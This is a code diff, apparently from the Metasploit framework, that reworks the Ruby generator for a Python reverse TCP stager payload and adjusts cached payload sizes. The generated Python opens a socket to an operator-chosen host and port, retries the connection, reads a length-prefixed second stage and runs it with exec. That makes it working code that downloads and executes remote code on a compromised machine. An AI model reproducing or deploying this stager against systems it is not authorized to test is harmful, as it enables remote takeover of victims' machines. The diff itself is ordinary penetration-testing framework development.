Making use of while loop and solving StagerRetryWait issue

lib/msf/core/payload/python/reverse_tcp.rb

@@ -44,24 +44,30 @@ module Payload::Python::ReverseTcp
 
   def generate_reverse_tcp(opts={})
     # Set up the socket
-    cmd  = "import socket,struct\n"
-    cmd << "import time\n"
-    cmd << "def connect():\n"
-    cmd << "\ttry:\n"
-    cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
-    cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+    cmd  = "import socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n"
+    if datastore['StagerRetryWait'].blank? # do not retry at all (old style)
+      cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
+      cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+    else
+      cmd << "while 1:\n"
+      cmd << "\ttry:\n"
+      cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
+      cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+      cmd << "\t\tbreak\n"
+      cmd << "\texcept:\n"
+      if datastore['StagerRetryWait'].to_i <= 0
+        cmd << "\t\tpass\n" # retry immediately
+      else
+        cmd << "\t\ttime.sleep(#{datastore['StagerRetryWait'].to_i})\n" # retry after waiting
+      end
+    end
     cmd << py_send_uuid if include_send_uuid
-    cmd << "\t\tl=struct.unpack('>I',s.recv(4))[0]\n"
-    cmd << "\t\td=s.recv(l)\n"
-    cmd << "\t\twhile len(d)<l:\n"
-    cmd << "\t\t\td+=s.recv(l-len(d))\n"
-    cmd << "\t\texec(d,{'s':s})\n"
-    cmd << "\texcept Exception:\n"
-    cmd << "\t\t\ttime.sleep(#{opts[:retry_wait]})\n"
-    cmd << "\t\t\tconnect()\n"
-    cmd << "connect()\n"
-    
-
+    cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
+    cmd << "d=s.recv(l)\n"
+    cmd << "while len(d)<l:\n"
+    cmd << "\td+=s.recv(l-len(d))\n"
+    cmd << "exec(d,{'s':s})\n"
+            
     py_create_exec_stub(cmd)
   end
 

modules/payloads/stagers/python/reverse_tcp.rb

@@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 502
+  CachedSize = 362
 
   include Msf::Payload::Stager
   include Msf::Payload::Python::ReverseTcp

modules/payloads/stagers/python/reverse_tcp_uuid.rb

@@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 606
+  CachedSize = 466
 
   include Msf::Payload::Stager
   include Msf::Payload::Python